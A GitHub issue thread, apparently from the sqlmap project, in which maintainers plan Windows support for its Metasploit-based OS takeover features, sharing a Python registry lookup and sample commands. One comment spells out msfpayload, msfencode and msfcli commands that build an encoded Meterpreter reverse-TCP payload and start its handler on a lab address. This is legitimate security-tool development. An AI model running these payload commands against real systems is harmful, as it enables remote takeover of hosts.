Description

bdamele

opened on Jun 26, 2012

Issue body actions

Now that Metasploit properly runs on Windows too (without cygwin), we definitely need to support all functionalities on Windows too, if possible. Hence, --os-pwn/--os-smbrelay/--os-smb code need to be reviewed: metasploit.py, subprocessng.py and icmpsh*.py.

Activity

1. ghost assigned

   stamparm

   on Jun 26, 2012
2. stamparm commented on Jul 26, 2012

   

   stamparm

   on Jul 26, 2012

   Member

   More actions

   Sample run:
   C:\metasploit>scripts\setenv.bat
   C:\metasploit\msf3>ruby msfpayload
3. stamparm commented on Jul 26, 2012

   

   stamparm

   on Jul 26, 2012

   Member

   More actions

   Sample generic one-liner run:

   <metasploit_install_dir>\scripts\setenv.bat & ruby <metasploit_install_dir>\msf3\msfpayload
   
4. stamparm commented on Jul 26, 2012

   

   stamparm

   on Jul 26, 2012

   Member

   More actions

   Installation directory registry location:

   "HKEY_LOCAL_MACHINE"\"SOFTWARE\Rapid7\Metasploit"\"Location"
   
5. stamparm commented on Jul 26, 2012

   

   stamparm

   on Jul 26, 2012

   Member

   More actions

   import subprocess
   
   IS_WIN = subprocess.mswindows
   
   def _(key, value):
       retVal = None
   
       if IS_WIN:
           try:
               from  _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
               _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
               _ = OpenKey(_, key)
               retval = QueryValueEx(_, value)[0]
           except:  # Pokemon Exception Handling
               pass
   
       return retVal
   
   installDir = _(r"SOFTWARE\Rapid7\Metasploit", "Location")
   
6. stamparm commented on Jul 27, 2012

   

   stamparm

   on Jul 27, 2012

   Member

   More actions

   Just for further reference for commands/forms which need to be supported:

   /usr/local/bin/msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=48426 LHOST=192.168.21.1 R | /usr/local/bin/msfencode -a x86 -e x86/alpha_mixed -o /home/stamparm/Dropbox/Work/sqlmap/output/192.168.21.129/tmpmcaro -t raw BufferRegister=EAX
   
   /usr/local/bin/msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=48426 LHOST=192.168.21.1 E
   
7. stamparm

   added 2 commits that reference this issue on Jul 27, 2012

   Update for Issue #28

   6ffc566

   Another update for an Issue #28

   1669c6b
8. bdamele commented on Dec 4, 2012

   

   bdamele

   on Dec 4, 2012

   MemberAuthor

   More actions

   Consider to rewrite the Metasploit integration by interacting with the Metasploit RPC interface (msfrpcd) instead of wrapping the msfconsole/msfpayload/msfencode executables
9. bdamele

   added a commit that references this issue on Jan 9, 2013

   first attempt to have --os-pwn and other takeover switches work acros…

   510ceb6
10. stamparm

    added a commit that references this issue on Dec 29, 2013

    Patch for an Issue #28

    192a911

Issue actions